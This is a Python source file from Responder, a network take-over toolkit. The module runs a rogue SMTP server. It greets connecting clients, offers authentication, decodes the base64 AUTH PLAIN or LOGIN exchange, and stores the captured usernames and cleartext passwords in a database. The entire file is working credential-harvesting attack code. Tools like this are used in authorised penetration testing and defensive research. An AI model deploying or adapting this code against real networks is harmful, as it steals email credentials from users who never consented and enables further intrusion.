#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools 
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
from utils import *
from base64 import b64decode
if settings.Config.PY2OR3 == "PY3":
	from socketserver import BaseRequestHandler
else:
	from SocketServer import BaseRequestHandler
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2

class ESMTP(BaseRequestHandler):

	def handle(self):
		try:
			self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
			data = self.request.recv(1024)

			if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
				self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
				data = self.request.recv(1024)

			if data[0:4] == b'AUTH':
				AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
				if AuthPlain:
					User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
					Username = User[0].decode('latin-1')
					Password = User[1].decode('latin-1')

					SaveToDb({
						'module': 'SMTP', 
						'type': 'Cleartext', 
						'client': self.client_address[0], 
						'user': Username, 
						'cleartext': Password, 
						'fullhash': Username+":"+Password,
						})

				else:
					self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
					data = self.request.recv(1024)
				
					if data:
						try:
							User = list(filter(None, b64decode(data).split(b'\x00')))
							Username = User[0].decode('latin-1')
							Password = User[1].decode('latin-1')
						except:
							Username = b64decode(data).decode('latin-1')

							self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
							data = self.request.recv(1024)

							if data:
								try: Password = b64decode(data).decode('latin-1')
								except: Password = data

						SaveToDb({
							'module': 'SMTP', 
							'type': 'Cleartext', 
							'client': self.client_address[0], 
							'user': Username, 
							'cleartext': Password, 
							'fullhash': Username+":"+Password,
						})

		except Exception:
			pass